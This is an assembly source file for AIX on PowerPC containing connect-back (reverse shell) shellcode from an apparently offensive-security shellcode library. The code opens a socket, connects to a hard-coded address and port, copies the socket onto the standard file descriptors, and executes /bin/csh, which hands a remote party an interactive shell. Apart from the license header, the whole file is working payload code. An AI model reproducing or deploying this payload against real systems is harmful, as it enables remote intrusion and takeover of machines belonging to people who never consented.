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/*
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 *  aix-power-cntsockcode.S
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 *  Copyright 2008 Ramon de Carvalho Valle <[email protected]>
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 *
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 *  This library is free software; you can redistribute it and/or
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 *  modify it under the terms of the GNU Lesser General Public
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 *  License as published by the Free Software Foundation; either
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 *  version 2.1 of the License, or (at your option) any later version.
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 *
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 *  This library is distributed in the hope that it will be useful,
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 *  but WITHOUT ANY WARRANTY; without even the implied warranty of
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 *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
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 *  Lesser General Public License for more details.
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 *
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 *  You should have received a copy of the GNU Lesser General Public
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 *  License along with this library; if not, write to the Free Software
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 *  Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301  USA
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 *
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 */
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/*
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 * Supported AIX versions:
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 *
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 * -DAIX614     AIX Version 6.1.4
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 * -DAIX613     AIX Version 6.1.3
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 * -DAIX612     AIX Version 6.1.2
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 * -DAIX611     AIX Version 6.1.1
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 * -DAIX5310    AIX Version 5.3.10
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 * -DAIX539     AIX Version 5.3.9
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 * -DAIX538     AIX Version 5.3.8
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 * -DAIX537     AIX Version 5.3.7
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 *
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 */
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#include "aix-power.h"
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    .globl .main
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    .csect .text[PR]
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.main:
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syscallcode:
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    # xor.    %r31,%r31,%r31
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    xor.    %r5,%r5,%r5
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    bnel    syscallcode
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    mflr    %r30
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    cal     %r30,511(%r30)
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    cal     %r30,-511+36(%r30)
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    mtctr   %r30
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    bctr
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    .long   0xff0204d2
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    .long   0x7f000001
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    crorc   %cr6,%cr6,%cr6
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    .long   0x44ffff02
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    cal     %r30,-8(%r30)
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cntsockcode:
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    lil     %r29,__CAL
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    # socket
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    # xor     %r5,%r5,%r5
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    cal     %r4,-__CAL+1(%r29)
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    cal     %r3,-__CAL+2(%r29)
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    cal     %r2,__NC_socket(%r29)
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    mtctr   %r30
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    bctrl
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    mr      %r28,%r3
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    # connect
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    cal     %r5,-__CAL+16(%r29)
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    cal     %r4,-8(%r30)
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    cal     %r2,__NC_connect(%r29)
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    mtctr   %r30
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    bctrl
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    # close
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    cal     %r27,-__CAL+2(%r29)
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0:
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    mr      %r3,%r27
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    cal     %r2,__NC_close(%r29)
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    mtctr   %r30
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    bctrl
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    # kfcntl
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    mr      %r5,%r27
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    xor     %r4,%r4,%r4
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    mr      %r3,%r28
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    cal     %r2,__NC_kfcntl(%r29)
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    mtctr   %r30
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    bctrl
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    ai.     %r27,%r27,-1
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    bge     0b
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shellcode:
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    # lil     %r29,__CAL
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    xor.    %r5,%r5,%r5
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    bnel    shellcode
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    # mflr    %r30
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    # cal     %r30,511(%r30)
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    # cal     %r3,-511+40(%r30)
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    # stb     %r5,-511+48(%r30)
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    mflr    %r24
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    cal     %r24,511(%r24)
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    cal     %r3,-511+40(%r24)
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    stb     %r5,-511+48(%r24)
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    stu     %r5,-4(%r1)
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    stu     %r3,-4(%r1)
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    mr      %r4,%r1
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    cal     %r2,__NC_execve(%r29)
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    # crorc   %cr6,%cr6,%cr6
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    # .long   0x44ffff02
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    mtctr   %r30
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    bctrl
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    .asciz  "/bin/csh"
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